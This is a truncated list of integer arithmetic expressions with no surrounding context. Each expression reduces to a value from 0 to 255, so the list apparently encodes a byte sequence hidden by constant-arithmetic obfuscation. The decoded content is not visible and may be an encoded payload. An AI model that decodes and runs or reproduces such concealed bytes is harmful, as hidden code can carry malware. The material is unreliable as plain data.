10548203467983791322, 32957885516763768315 - 32957885516763768268, (10182146745948452658 + 90624) // 2 - 5091073372974226329 - 45120, (16258315641607245532 + 17100) // 2 - 8129157820803622766 - 8460, (2021959618704567576 + 67308) // 2 - 1010979809352283788 - 33441, 56017009137265301725 - 56017009137265301700, 483930962395033149880 - 483930962395033149827, 5730156794199038028 - 5730156794199037990, (13490187674190927084 + 136220) // 2 - 6745093837095463542 - 67865, 190197048877756896390 - 190197048877756896360, 1866744594603037587966 - 1866744594603037587724, (6782436615020644688 + 36186) // 2 - 3391218307510322344 - 18056, (15286626447982906168 + 43148) // 2 - 7643313223991453084 - 21528, (8558578752173239092 + 61740) // 2 - 4279289376086619546 - 30780, 216639995029591108604 - 216639995029591108530, (15537637470694802520 + 70824) // 2 - 7768818735347401260 - 35334, (13796297826626839188 + 85020) // 2 - 6898148913313419594 - 42315, 138162406382358975428 - 138162406382358975354, 136476922456777365120 - 136476922456777365040, (2419112435987710472 + 44770) // 2 - 1209556217993855236 - 22264, (12303860467473971122 + 1192) // 2 - 6151930233736985561 - 592, 705436871621619897126 - 705436871621619896995, 196445024577141383230 - 196445024577141383175, 938945138485291913476 - 938945138485291913360, (17427706046226710380 + 3146) // 2 - 8713853023113355190 - 1562, (3252144072595135120 + 42630) // 2 - 1626072036297567560 - 21266, (8726018157671845498 + 104676) // 2 - 4363009078835922749 - 52195, (10517246419426326504 + 19292) // 2 - 5258623209713163252 - 9555, (4751442596280876430 + 9996) // 2 - 2375721298140438215 - 4949, (18445734171722578068 + 24568) // 2 - 9222867085861289034 - 12201, (9250539175873949334 + 57456) // 2 - 4625269587936974667 - 28602, (16111127130323653930 + 45698) // 2 - 8055563565161826965 - 22776, (447439031061348648 + 41000) // 2 - 223719515530674324 - 20450, 605670913137227734264 - 605670913137227734188, 98735271585452857740 - 98735271585452857719, (874019472818448590 + 2080) // 2 - 437009736409224295 - 1024, 1389272503278415015953 - 1389272503278415015722, (17719169326812438636 + 16856) // 2 - 8859584663406219318 - 8400, (7612386640103474338 + 35834) // 2 - 3806193320051737169 - 17876, 312336125256833551115 - 312336125256833551030, 1088098903558280189583 - 1088098903558280189394, (16166709798063825030 + 105408) // 2 - 8083354899031912515 - 52460, 135929069599842652353 - 135929069599842652120, 636864142407947167860 - 636864142407947167752, (12565406109941259444 + 10200) // 2 - 6282703054970629722 - 5040, (2427767123357173196 + 128520) // 2 - 1213883561678586598 - 64008, (8195021471388491236 + 5610) // 2 - 4097510735694245618 - 2788, 1382919129450095517335 - 1382919129450095517100, 304789992468702009150 - 304789992468702008913, 1240265933626249140795 - 1240265933626249140644, 39914747309469696222 - 39914747309469696183, (14577341435641580764 + 71632) // 2 - 7288670717820790382 - 35574, 45381008248497870120 - 45381008248497870033, 846513548123155820598 - 846513548123155820431, 809082882708260485962 - 809082882708260485839, 594005023667410785132 - 594005023667410784919, 58121362595533082520 - 58121362595533082460, (8140517539293252938 + 198940) // 2 - 4070258769646626469 - 99225, (3225165107969364736 + 8910) // 2 - 1612582553984682368 - 4410, 235796856170826638578 - 235796856170826638457, 287675237989446365215 - 287675237989446365000, (5389754211208822620 + 35496) // 2 - 2694877105604411310 - 17646, (8281912468969384368 + 19312) // 2 - 4140956234484692184 - 9514, (12239855880851809822 + 90210) // 2 - 6119927940425904911 - 44950, 423743862303570542994 - 423743862303570542916, 1626068110547974745180 - 1626068110547974745002, (13558713036717666118 + 124236) // 2 - 6779356518358833059 - 61880, (12311259416820163774 + 13776) // 2 - 6155629708410081887 - 6874, 184890440256029758485 - 184890440256029758440, (14828441702264612590 + 14400) // 2 - 7414220851132306295 - 7100, 579180546166018925865 - 579180546166018925678, 247733847577219233444 - 247733847577219233198, (7666944934228617854 + 13988) // 2 - 3833472467114308927 - 6968, (16631584337980526922 + 10706) // 2 - 8315792168990263461 - 5300, 49945071818020615923 - 49945071818020615812, (9246218946979833918 + 110940) // 2 - 4623109473489916959 - 55341, 187662756082967080905 - 187662756082967080850, (13174150393492409696 + 85228) // 2 - 6587075196746204848 - 42471, (17269071012352764172 + 31458) // 2 - 8634535506176382086 - 15622, (14724507253094619616 + 35520) // 2 - 7362253626547309808 - 17700, (897996997451246868 + 4864) // 2 - 448998498725623434 - 2413, 165228643085893073694 - 165228643085893073631, 390121162073381072744 - 390121162073381072512, 874038403878733423824 - 874038403878733423668, (6389501492474722938 + 67482) // 2 - 3194750746237361469 - 33534, (9593530289839246516 + 114000) // 2 - 4796765144919623258 - 56772, 591378438509411044324 - 591378438509411044190, 1159582886254774889208 - 1159582886254774888994, (6145695831451086514 + 64000) // 2 - 3072847915725543257 - 31920, (6162293113914577514 + 46750) // 2 - 3081146556957288757 - 23290, (11556149798107838348 + 94620) // 2 - 5778074899053919174 - 47061, (12943251236371432260 + 77420) // 2 - 6471625618185716130 - 38631, 172818801532372660968 - 172818801532372660717, (7071096507997082064 + 5928) // 2 - 3535548253998541032 - 2945, 1193452038686798259486 - 1193452038686798259312, 26429823737737210860 - 26429823737737210848, 1244890849858437038600 - 1244890849858437038460, 1620712407832866489850 - 1620712407832866489632, 53939337729545454290 - 53939337729545454264, 211623621351681944192 - 211623621351681944109, 110047163439380267584 - 110047163439380267463, 1341644401112441824337 - 1341644401112441824188, (11713756424469297386 + 51744) // 2 - 5856878212234648693 - 25696, 330096025001345470448 - 330096025001345470386, 40662447221471741350 - 40662447221471741340, 194327170638980178482 - 194327170638980178381, 1284439247109723232416 - 1284439247109723232248, (111222597777041990 + 142296) // 2 - 55611298888520995 - 70994, 11839012617910862044 - 11839012617910862040, 812127837487153545504 - 812127837487153545360, (4819462659814690890 + 144126) // 2 - 2409731329907345445 - 71910, 1108648489375695120138 - 1108648489375695119904, 211958750834198709543 - 211958750834198709390, (3978604440627474344 + 38582) // 2 - 1989302220313737172 - 19100, 27666972305039894035 - 27666972305039893994, (9197071831360617422 + 103250) // 2 - 4598535915680308711 - 51500, 134435339111508719616 - 134435339111508719472, (15560123737377807592 + 33280) // 2 - 7780061868688903796 - 16575, (8206188901570007726 + 21060) // 2 - 4103094450785003863 - 10452, 1084952040435822155190 - 1084952040435822155025, 864974973946135687832 - 864974973946135687578, (7268303642465374320 + 64792) // 2 - 3634151821232687160 - 32307, (15262401942653229318 + 157368) // 2 - 7631200971326614659 - 78518, (10172504253838005734 + 8568) // 2 - 5086252126919002867 - 4272, 499861715596584111044 - 499861715596584110886, (730276444407292710 + 36666) // 2 - 365138222203646355 - 18144, (4254825072995382326 + 143820) // 2 - 2127412536497691163 - 71757, (15276878985529191820 + 37648) // 2 - 7638439492764595910 - 18772, (12661077437825733224 + 18432) // 2 - 6330538718912866612 - 9144, 558950379572992628102 - 558950379572992628028, (12838593166056756770 + 22500) // 2 - 6419296583028378385 - 11220, (4090490790408513418 + 4912) // 2 - 2045245395204256709 - 2448, 1466972671656759169935 - 1466972671656759169772, (5413494777490516584 + 173160) // 2 - 2706747388745258292 - 86358, 663240068825049113868 - 663240068825049113640, (17910018443298965056 + 192570) // 2 - 8955009221649482528 - 96040, 98342777100752911350 - 98342777100752911181, (8693686659353290122 + 21800) // 2 - 4346843329676645061 - 10875, 59064893309076199020 - 59064893309076199002, (3726677054391132394 + 108418) // 2 - 1863338527195566197 - 54058, (13657512908207369390 + 38400) // 2 - 6828756454103684695 - 19100, (4449239348220608802 + 26730) // 2 - 2224619674110304401 - 13230, (13960881368749772970 + 32004) // 2 - 6980440684374886485 - 15748, 755388508218884683752 - 755388508218884683548, 15124593500635317258 - 15124593500635317221, (1981648907101600732 + 162864) // 2 - 990824453550800366 - 81216, (13650241599546160696 + 60840) // 2 - 6825120799773080348 - 30355, (4875130350665315050 + 206856) // 2 - 2437565175332657525 - 103194, (13957387330776198430 + 1016) // 2 - 6978693665388099215 - 504, (17476947723000528238 + 27280) // 2 - 8738473861500264119 - 13516, 922887313241170952432 - 922887313241170952316, (11485908913713040404 + 32208) // 2 - 5742954456856520202 - 16016, 406117953237718817461 - 406117953237718817408, (295940058866027738 + 66740) // 2 - 147970029433013869 - 33135, (8663392810823097508 + 16002) // 2 - 4331696405411548754 - 7980, 1221058582655936015502 - 1221058582655936015313, (94121855458830924 + 24684) // 2 - 47060927729415462 - 12100, 1069309766168974516520 - 1069309766168974516336, 84865351485735239636 - 84865351485735239608, 1835079925677782915670 - 1835079925677782915460, 393959723970852202995 - 393959723970852202938, 854455751752444386941 - 854455751752444386732, 1499325815738327184402 - 1499325815738327184208, 152669173873026089449 - 152669173873026089370, 276964679143207735382 - 276964679143207735300, (3497191842929448956 + 37856) // 2 - 1748595921464724478 - 18872, 1468720528595311444299 - 1468720528595311444068, 125650307641298665476 - 125650307641298665397, (4780782776312393764 + 24552) // 2 - 2390391388156196882 - 12243, 1556116579722035524050 - 1556116579722035523855, (4763914260254303654 + 89324) // 2 - 2381957130127151827 - 44525, (2491367521303794610 + 45372) // 2 - 1245683760651897305 - 22487, (2312852417623161112 + 48852) // 2 - 1156426208811580556 - 24288, 551422284549423135152 - 551422284549423135021, 1726234161323875271825 - 1726234161323875271628, 1216773466683437486922 - 1216773466683437486684, 866886821654503884426 - 866886821654503884324, 101433029070215219958 - 101433029070215219769, (6437410095434395662 + 24552) // 2 - 3218705047717197831 - 12152, 59782061795443640620 - 59782061795443640600, 575748122392287341451 - 575748122392287341382, 456162070821257367927 - 456162070821257367858, 294995560838134229656 - 294995560838134229570, (15485102259595269824 + 110160) // 2 - 7742551129797634912 - 54927, 1271781555517231392064 - 1271781555517231391916, (7311310885818054138 + 127566) // 2 - 3655655442909027069 - 63612, (6929908566844244136 + 200236) // 2 - 3464954283422122068 - 99892, (13984296274001255568 + 79808) // 2 - 6992148137000627784 - 39732, 262736802828086736340 - 262736802828086736299, 6367043905919517761 - 6367043905919517760, (14170979912173952386 + 139464) // 2 - 7085489956086976193 - 69498, (6839456449392163514 + 74536) // 2 - 3419728224696081757 - 37026, (12460506797725480168 + 32670) // 2 - 6230253398862740084 - 16290, (9582215549513752510 + 22984) // 2 - 4791107774756876255 - 11271, 138619898595954833101 - 138619898595954832928, (11616058301855180780 + 67196) // 2 - 5808029150927590390 - 33441, 1215485088286459636353 - 1215485088286459636152, (1623387234045510188 + 98064) // 2 - 811693617022755094 - 48805, 232133435576956922738 - 232133435576956922676, (17712430720077997616 + 20928) // 2 - 8856215360038998808 - 10416, (3568094154763218016 + 6318) // 2 - 1784047077381609008 - 3132, (5807414449261297398 + 54656) // 2 - 2903707224630648699 - 27267, (7170547772500723792 + 112880) // 2 - 3585273886250361896 - 56274, 11357233866894618684 - 11357233866894618680, (6318442150246492634 + 35200) // 2 - 3159221075123246317 - 17424, (4541322880731465228 + 122400) // 2 - 2270661440365732614 - 60975, (6403646789863390730 + 14948) // 2 - 3201823394931695365 - 7437, 1132812093610231335468 - 1132812093610231335264, (6473907376775732806 + 116870) // 2 - 3236953688387866403 - 58280, (5112860217859882844 + 18150) // 2 - 2556430108929941422 - 9000, 396178315303290217789 - 396178315303290217626, (8225305655305326236 + 185740) // 2 - 4112652827652663118 - 92619, (15136545960153598746 + 204204) // 2 - 7568272980076799373 - 101871, (2130902718992836454 + 58212) // 2 - 1065451359496418227 - 29029, (18401652499668852 + 5328) // 2 - 9200826249834426 - 2627, 7029214697530799207 - 7029214697530799158, 866683996745274364030 - 866683996745274363777, (9116667468243638160 + 74412) // 2 - 4558333734121819080 - 36972, 46313013628608115389 - 46313013628608115158, 769319953317688191960 - 769319953317688191840, (9184814384350354220 + 2280) // 2 - 4592407192175177110 - 1128, (1382118328069099382 + 29468) // 2 - 691059164034549691 - 14595, 298971349140369815613 - 298971349140369815514, 309624702976958093568 - 309624702976958093440, (11944756651944243560 + 12480) // 2 - 5972378325972121780 - 6201, (4847608266395037938 + 63722) // 2 - 2423804133197518969 - 31710, (11393656086046206432 + 136344) // 2 - 5696828043023103216 - 67944, 1365841446183082476825 - 1365841446183082476650, (7969852962604337296 + 35624) // 2 - 3984926481302168648 - 17568, (3251438117288809100 + 77760) // 2 - 1625719058644404550 - 38790, 330360369865863255072 - 330360369865863255030, 238406446657125727938 - 238406446657125727809, 1417020161398624483110 - 1417020161398624482940, (18306623535695170962 + 23712) // 2 - 9153311767847585481 - 11628, 325425629621195241252 - 325425629621195241048, (705442365322428298 + 14880) // 2 - 352721182661214149 - 7420, (2421071101631764178 + 47740) // 2 - 1210535550815882089 - 23716, 157013942827210685370 - 157013942827210685337, 134968246271000910548 - 134968246271000910445, 4212603495040038981 - 4212603495040038914, (10766155903441269192 + 154080) // 2 - 5383077951720634596 - 76860, (1275797502608245326 + 175560) // 2 - 637898751304122663 - 87552, (13835372510592847872 + 3960) // 2 - 6917686255296423936 - 1974, 345316052689525792800 - 345316052689525792650, (16867312324114836748 + 79220) // 2 - 8433656162057418374 - 39525, 1375175034717691651290 - 1375175034717691651137, 152016133007730625907 - 152016133007730625746, (10874238534674816446 + 25704) // 2 - 5437119267337408223 - 12768, 944480658417977682954 - 944480658417977682831, 1094289400638725369364 - 1094289400638725369143, (5660021559102532272 + 184500) // 2 - 2830010779551266136 - 92004, 461446884163728140403 - 461446884163728140280, 841522081704091193725 - 841522081704091193520, 545859963429664427292 - 545859963429664427080, 496857169936328444375 - 496857169936328444280, (4787918409578257702 + 99510) // 2 - 2393959204789128851 - 49600, 948465280423189015315 - 948465280423189015148, (3581960062439901562 + 44550) // 2 - 1790980031219950781 - 22200, (3633594665160027422 + 55616) // 2 - 1816797332580013711 - 27650, (11111701373467068728 + 181818) // 2 - 5555850686733534364 - 90720, (12404414191920620894 + 163680) // 2 - 6202207095960310447 - 81592, (15651233680369570036 + 118244) // 2 - 7825616840184785018 - 58916, (8423580121347132274 + 1572) // 2 - 4211790060673566137 - 783, 149366805343387346880 - 149366805343387346700, (14789650196908151662 + 24250) // 2 - 7394825098454075831 - 12028, 330318087287597680562 - 330318087287597680404, 645749428063498297930 - 645749428063498297760, 1424221739571114738560 - 1424221739571114738394, (1362626127805518686 + 74892) // 2 - 681313063902759343 - 37367, 388896211557514805589 - 388896211557514805536, 1556026026431938784822 - 1556026026431938784593, (14226287424321532244 + 35280) // 2 - 7113143712160766122 - 17472, (5106066659668071658 + 1326) // 2 - 2553033329834035829 - 650, 704636126730094508352 - 704636126730094508235, 600724005143071185210 - 600724005143071184995, 422443342006727496920 - 422443342006727496672, (4146004522058110860 + 24462) // 2 - 2073002261029055430 - 12150, 812673426053504583120 - 812673426053504582880, 823829408188988341524 - 823829408188988341360, (12303522553500089506 + 32802) // 2 - 6151761276750044753 - 16324, 702584846031802099584 - 702584846031802099392, 419684218695884352934 - 419684218695884352828, 266964024481460477850 - 266964024481460477721, 351294475333693490444 - 351294475333693490310, 818283643631699912436 - 818283643631699912304, (5971595572482862744 + 13650) // 2 - 2985797786241431372 - 6786, (16480648212478759314 + 34408) // 2 - 8240324106239379657 - 17112, (11414594365102060302 + 110838) // 2 - 5707297182551030151 - 55216, 34653805954627345984 - 34653805954627345748, 607448915084169593442 - 607448915084169593316, 1222231351515241455032 - 1222231351515241454818, 652000754763081492666 - 652000754763081492443, 1080512748943068709840 - 1080512748943068709620, (15143907828716370582 + 27776) // 2 - 7571953914358185291 - 13832, 449803112398808308848 - 449803112398808308632, 1196134726477231554792 - 1196134726477231554593, (5636501973190188120 + 20928) // 2 - 2818250986595094060 - 10416, 494675592356442822116 - 494675592356442821958, (18996161157269784 + 124266) // 2 - 9498080578634892 - 61984, (9447206718970903794 + 40080) // 2 - 4723603359485451897 - 19980, 1720112744136190086903 - 1720112744136190086706, (2853566989086133250 + 118080) // 2 - 1426783494543066625 - 58880, 1111469364510311067903 - 1111469364510311067712, 892423453083126475767 - 892423453083126475644, 1266122876084626057036 - 1266122876084626056840, (4170965296949557530 + 79040) // 2 - 2085482648474778765 - 39312, 784971362972591325903 - 784971362972591325774, (4767967558878164934 + 23124) // 2 - 2383983779439082467 - 11421, (15717809977447320132 + 105060) // 2 - 7858904988723660066 - 52324, (15652631368432545350 + 115772) // 2 - 7826315684216272675 - 57680, 801210168601088187084 - 801210168601088186952, 33035860735687200876 - 33035860735687200870, (10505583790240666844 + 29212) // 2 - 5252791895120333422 - 14539, (7832128712627325150 + 170628) // 2 - 3916064356313662575 - 85137, (5753301924204507140 + 10368) // 2 - 2876650962102253570 - 5160, 671328497941625453771 - 671328497941625453698, (5808552321020249120 + 233760) // 2 - 2904276160510124560 - 116640, (5697918509182145380 + 50298) // 2 - 2848959254591072690 - 25048, 1018111770972961102104 - 1018111770972961101918, 361838650729493059733 - 361838650729493059564, (18111592174050003510 + 153640) // 2 - 9055796087025001755 - 76590, 387939634642711521398 - 387939634642711521300, (7135972807813385398 + 60424) // 2 - 3567986403906692699 - 30046, (11404847278100811582 + 82510) // 2 - 5702423639050405791 - 41032, 418218523937718749610 - 418218523937718749509, (16135054589329263424 + 62194) // 2 - 8067527294664631712 - 30976, (9889004499589067912 + 16254) // 2 - 4944502249794533956 - 8100, 368646763091977148020 - 368646763091977147938, (10200645505458893562 + 20884) // 2 - 5100322752729446781 - 10396, (3052492842995727892 + 90768) // 2 - 1526246421497863946 - 45291, (8858200539866745982 + 64116) // 2 - 4429100269933372991 - 31824, (8892643047797203984 + 6174) // 2 - 4446321523898601992 - 3038, 73660187871723445330 - 73660187871723445317, (772183204624120020 + 118622) // 2 - 386091602312060010 - 59082, 669963703972238813772 - 669963703972238813664, 156977088492478037975 - 156977088492478037950, (17239103975462863340 + 3544) // 2 - 8619551987731431670 - 1768, (1567073287869810340 + 49950) // 2 - 783536643934905170 - 24900, 299826584688461759478 - 299826584688461759379, 1202195027771614191952 - 1202195027771614191744, (1189608125940325822 + 87580) // 2 - 594804062970162911 - 43645, (4932218186594461240 + 134670) // 2 - 2466109093297230620 - 67134, (11158412367641782062 + 120600) // 2 - 5579206183820891031 - 60166, 1046020907980678184048 - 1046020907980678183840, 1845117799519853564328 - 1845117799519853564077, 332022384825141981720 - 332022384825141981660, (7060545578236120260 + 6608) // 2 - 3530272789118060130 - 3248, (15180935978247052986 + 12150) // 2 - 7590467989123526493 - 6060, 601306642395070956472 - 601306642395070956404, 396000321890346048982 - 396000321890346048909, 1083392093173405603347 - 1083392093173405603110, 729925844285067774325 - 729925844285067774212, (10321563344541385370 + 29240) // 2 - 5160781672270692685 - 14448, (9616448177676658858 + 68068) // 2 - 4808224088838329429 - 33796, (17443900757046154870 + 57772) // 2 - 8721950378523077435 - 28743, 673189621235709970488 - 673189621235709970266, 793083510330696163240 - 793083510330696163139, 77832192891193455648 - 77832192891193455632, (1794279562095297928 + 17184) // 2 - 897139781047648964 - 8568, 266123906692887563508 - 266123906692887563479, (6458202559669497730 + 67184) // 2 - 3229101279834748865 - 33488, (1376278322609107622 + 19968) // 2 - 688139161304553811 - 9952, (11305400108991052280 + 42744) // 2 - 5652700054495526140 - 21235, (11019785029907882086 + 36828) // 2 - 5509892514953941043 - 18352, 1277642826140294710096 - 1277642826140294709942, 368663304234897973341 - 368663304234897973170, 589689485292186422451 - 589689485292186422384, (2636157917541437866 + 51362) // 2 - 1318078958770718933 - 25620, (2598239393234911412 + 155610) // 2 - 1299119696617455706 - 77558, (14237255939038269312 + 17296) // 2 - 7118627969519134656 - 8602, 646416464907688658880 - 646416464907688658753, (14032767586695077426 + 148584) // 2 - 7016383793347538713 - 74046, 112335413293647182067 - 112335413293647182034, (4291361770291374746 + 66500) // 2 - 2145680885145687373 - 33117, 166160419832543373016 - 166160419832543372982, (9941784421597511782 + 100352) // 2 - 4970892210798755891 - 49980, 301593330017927134482 - 301593330017927134276, 1670868862806826997335 - 1670868862806826997150, 339836647923340579532 - 339836647923340579344, 12793869282815667300 - 12793869282815667240, 1285626765148719760830 - 1285626765148719760592, 373756448064390724032 - 373756448064390723836, (8918329323581833294 + 2048) // 2 - 4459164661790916647 - 1016, (17921151343195359206 + 31208) // 2 - 8960575671597679603 - 15521, (3612934931458267760 + 3876) // 2 - 1806467465729133880 - 1932, (8722631406056440784 + 84036) // 2 - 4361315703028220392 - 41924, 303795753191387844464 - 303795753191387844261, (16066941171866722742 + 114912) // 2 - 8033470585933361371 - 57304, 61315858254216478560 - 61315858254216478530, 1079270775810335351180 - 1079270775810335350992, (1245674038667701012 + 5220) // 2 - 622837019333850506 - 2581, 80226947463954161456 - 80226947463954161272, 202264924085599051950 - 202264924085599051908, 1272715370397384959684 - 1272715370397384959473, 20994509839355654028 - 20994509839355654014, (14920262536430662646 + 169442) // 2 - 7460131268215331323 - 84474, (9353374771223524782 + 85680) // 2 - 4676687385611762391 - 42750, (9194233657240491666 + 135488) // 2 - 4597116828620245833 - 67598, 1160923210567370942880 - 1160923210567370942720, (17056344274600026676 + 3276) // 2 - 8528172137300013338 - 1629, 216529298921994873726 - 216529298921994873685, 512644692836197640556 - 512644692836197640448, 542975442958423043712 - 542975442958423043598, (5655889941674932568 + 2664) // 2 - 2827944970837466284 - 1314, (14003421103674679474 + 174590) // 2 - 7001710551837339737 - 87074, 10366518254161737005 - 10366518254161736940, 1768259167608997857570 - 1768259167608997857315, (6883873022088956978 + 101906) // 2 - 3441936511044478489 - 50702, (8182607522585885968 + 12792) // 2 - 4091303761292942984 - 6370, (13710903484750806812 + 140208) // 2 - 6855451742375403406 - 69850, (1041067269555800530 + 70056) // 2 - 520533634777900265 - 34902, (5499539580798603118 + 28908) // 2 - 2749769790399301559 - 14308, 1928000751406215852730 - 1928000751406215852485, (3935787463860660906 + 9656) // 2 - 1967893731930330453 - 4811, (2964408429275639654 + 104256) // 2 - 1482204214637819827 - 51947, 799193960161586241504 - 799193960161586241266, (6060012023059694734 + 128484) // 2 - 3030006011529847367 - 64076, 1017651149387624628380 - 1017651149387624628240, 153449169281069152854 - 153449169281069152788, (16809343069030834510 + 56882) // 2 - 8404671534515417255 - 28322, 613021244878032522926 - 613021244878032522769, 177370757905113906672 - 177370757905113906469, 690903424770711638532 - 690903424770711638346, 76685499388889775682 - 76685499388889775581, (9900700779498296514 + 149408) // 2 - 4950350389749148257 - 74520, (12381126113289607252 + 23540) // 2 - 6190563056644803626 - 11660, 52929896296245836679 - 52929896296245836508, 991950921524110636732 - 991950921524110636506, 44441367132993993432 - 44441367132993993381, 599107466540682031855 - 599107466540682031682, (18294784971943903314 + 13120) // 2 - 9147392485971951657 - 6478, 1416818859789292811174 - 1416818859789292811008, 818110425321515938605 - 818110425321515938500, 938288768539239111750 - 938288768539239111540, (16871362348321973742 + 71288) // 2 - 8435681174160986871 - 35510, 919766233526384969766 - 919766233526384969625, (10938702255667240736 + 47816) // 2 - 5469351127833620368 - 23822, 77638284189713545578 - 77638284189713545560, 941653185359817032960 - 941653185359817032850, (13889778055335027464 + 139932) // 2 - 6944889027667513732 - 69732, 283996962308348074940 - 283996962308348074746, (15143924696986138318 + 134932) // 2 - 7571962348493069159 - 67308, (9228593462688675202 + 91080) // 2 - 4614296731344337601 - 45425, (4898704620025573442 + 25584) // 2 - 2449352310012786721 - 12714, (12627543909995222446 + 56238) // 2 - 6313771954997611223 - 28028, (15109870938307941272 + 62748) // 2 - 7554935469153970636 - 31291, 949814494627910060696 - 949814494627910060560, (8550608665827704808 + 185256) // 2 - 4275304332913852404 - 92379, 383221864676359196006 - 383221864676359195864, (2346848516179744142 + 80496) // 2 - 1173424258089872071 - 40092, 299992184196963374475 - 299992184196963374400, 1254792547596624467752 - 1254792547596624467526, (911823909442659608 + 72090) // 2 - 455911954721329804 - 35964, (10555105166627464904 + 24276) // 2 - 5277552583313732452 - 12096, 0 - 0, (17612312839732203180 + 25592) // 2 - 8806156419866101590 - 12768, 236890776645481859352 - 236890776645481859280, 603589856987416675851 - 603589856987416675698, (299026185557777414 + 96672) // 2 - 149513092778888707 - 48230, 581140435590801249588 - 581140435590801249495, (7141256310813463022 + 19886) // 2 - 3570628155406731511 - 9780, 1105838102282852013205 - 1105838102282852012958, 294711176940800622022 - 294711176940800621919, 343918238649343286284 - 343918238649343286138, (12541041126790855748 + 43044) // 2 - 6270520563395427874 - 21471, 141080494528657554542 - 141080494528657554423, 512612888169493710258 - 512612888169493710192, (299949993811730028 + 65070) // 2 - 149974996905865014 - 32294, (2960183096974589798 + 82944) // 2 - 1480091548487294899 - 41376, (4974768001970678356 + 14560) // 2 - 2487384000985339178 - 7200, 585311408660610837678 - 585311408660610837612, (15923587111815165614 + 142560) // 2 - 7961793555907582807 - 71136, 368683093575822609234 - 368683093575822609108, (12380202646691858216 + 78988) // 2 - 6190101323345929108 - 39312, 48124956321288327768 - 48124956321288327754, 421253360425203887808 - 421253360425203887664, (15313689659134944680 + 116500) // 2 - 7656844829567472340 - 58125, 236055043649585480688 - 236055043649585480652, (10288198229466348524 + 123830) // 2 - 5144099114733174262 - 61770, (4527735065742414316 + 100540) // 2 - 2263867532871207158 - 50160, (2185456723773872514 + 151708) // 2 - 1092728361886936257 - 75660, 260433560867295581964 - 260433560867295581920, 97399901366666402992 - 97399901366666402976, 217876650154769984000 - 217876650154769983825, (7793033918413367434 + 7920) // 2 - 3896516959206683717 - 3927, (4980734053884861358 + 76608) // 2 - 2490367026942430679 - 38171, 68500133550065387247 - 68500133550065387170, (13971011611021979790 + 77244) // 2 - 6985505805510989895 - 38376, (13115948939947268168 + 111936) // 2 - 6557974469973634084 - 55756, 238811914959822478208 - 238811914959822478120, (7168457738704732942 + 22100) // 2 - 3584228869352366471 - 11000, (10926676088728375536 + 61504) // 2 - 5463338044364187768 - 30504, 475547053831751646693 - 475547053831751646582, 458325256306682753766 - 458325256306682753635, 287784006094767183008 - 287784006094767182976, (5688133924394879428 + 9900) // 2 - 2844066962197439714 - 4920, (1864746675159266922 + 2432) // 2 - 932373337579633461 - 1212, 1800400127163071404593 - 1800400127163071404374, 7781432364775862104 - 7781432364775862091, (5894357603260189282 + 86000) // 2 - 2947178801630094641 - 42800, (8949967213850863708 + 61588) // 2 - 4474983606925431854 - 30616, (7039348638581724202 + 171000) // 2 - 3519674319290862101 - 85310, 322738731487881328166 - 322738731487881328084, (16397639691452666530 + 20280) // 2 - 8198819845726333265 - 10062, 323324483931836283468 - 323324483931836283390, 243712344897330427320 - 243712344897330427157, (10760265800914647510 + 52272) // 2 - 5380132900457323755 - 26015, (2503160612387920766 + 15708) // 2 - 1251580306193960383 - 7788, 30935281898508022830 - 30935281898508022625, (6594886816956275252 + 96968) // 2 - 3297443408478137626 - 48360, 1474287752741794685959 - 1474287752741794685792, (10358877204907216322 + 40704) // 2 - 5179438602453608161 - 20299, (2190428077928952548 + 86526) // 2 - 1095214038964476274 - 43054, 250168822343993219700 - 250168822343993219590, (909430011676142256 + 81472) // 2 - 454715005838071128 - 40584, (3518402596506942224 + 8814) // 2 - 1759201298253471112 - 4368, 7399238535497017504 - 7399238535497017496, (9063079422511551010 + 23374) // 2 - 4531539711255775505 - 11658, 1407493970245309314528 - 1407493970245309314351, (13908603614040397210 + 133848) // 2 - 6954301807020198605 - 66768, (8798154939492917600 + 51968) // 2 - 4399077469746458800 - 25868, 1606857463726451027784 - 1606857463726451027595, 1267311520519164480140 - 1267311520519164479920, 211045622011632140799 - 211045622011632140742, 94058585668873061614 - 94058585668873061595, 863094319315475981349 - 863094319315475981118, 965079273927849871598 - 965079273927849871392, (6804506904895490038 + 190512) // 2 - 3402253452447745019 - 95013, (12926416102408042592 + 52824) // 2 - 6463208051204021296 - 26226, 433493144040139131000 - 433493144040139130750, (4449019930099924838 + 88008) // 2 - 2224509965049962419 - 43811, (5876698116930050924 + 21896) // 2 - 2938349058465025462 - 10856, 435210506762872869860 - 435210506762872869786, (2690654830682959152 + 56274) // 2 - 1345327415341479576 - 28054, 680710481573713503204 - 680710481573713503112, (16772983092237659120 + 43200) // 2 - 8386491546118829560 - 21384, 695216184342699568545 - 695216184342699568338, 126568280945667083784 - 126568280945667083626, 866377477363087405625 - 866377477363087405434, 234086466424236069420 - 234086466424236069392, 74165405762272627143 - 74165405762272627092, 215494796416707220932 - 215494796416707220878, 1400349675872545574985 - 1400349675872545574742, 286118005225923047842 - 286118005225923047604, 1683098235746597044494 - 1683098235746597044293, 817828510840384465041 - 817828510840384464948, 800567140169557550550 - 800567140169557550400, 764641186383962397510 - 764641186383962397320, (18011679740754191578 + 21432) // 2 - 9005839870377095789 - 10528, 342121049307356595976 - 342121049307356595897, 256186090627792883146 - 256186090627792883052, 321060519394635411792 - 321060519394635411684, (1129063162853348300 + 184506) // 2 - 564531581426674150 - 92062, (2022458258412278110 + 192700) // 2 - 1011229129206139055 - 96145, (17769639868519750002 + 111870) // 2 - 8884819934259875001 - 55822, (5967123338683030054 + 12742) // 2 - 2983561669341515027 - 6348, (2861002088570377238 + 195216) // 2 - 1430501044285188619 - 97412, 906689074366203694526 - 906689074366203694377, 728605572325361174430 - 728605572325361174340, (879912319885875690 + 86636) // 2 - 439956159942937845 - 43197, (3355432246503164976 + 108544) // 2 - 1677716123251582488 - 54144, 641530556021488205772 - 641530556021488205610, (2977709593394196602 + 81506) // 2 - 1488854796697098301 - 40670, 170649354917803107873 - 170649354917803107822, 38883267806295027397 - 38883267806295027368, 1089839022316960860591 - 1089839022316960860368, 1202444052880249917504 - 1202444052880249917270, (15653253120789293324 + 192080) // 2 - 7826626560394646662 - 95795, (15722254557053299080 + 11172) // 2 - 7861127278526649540 - 5488, (16921832282422913092 + 91168) // 2 - 8460916141211456546 - 45436, (9290644849896936474 + 95484) // 2 - 4645322424948468237 - 47524, (11935948287351575996 + 3752) // 2 - 5967974143675787998 - 1872, (7700938112722090026 + 5472) // 2 - 3850469056361045013 - 2698, (11867474220380550114 + 168402) // 2 - 5933737110190275057 - 83980, 1627440645649121508116 - 1627440645649121507880, (9094220541354485244 + 5552) // 2 - 4547110270677242622 - 2768, 825858861978073004110 - 825858861978073004015, (12435023266634373826 + 21312) // 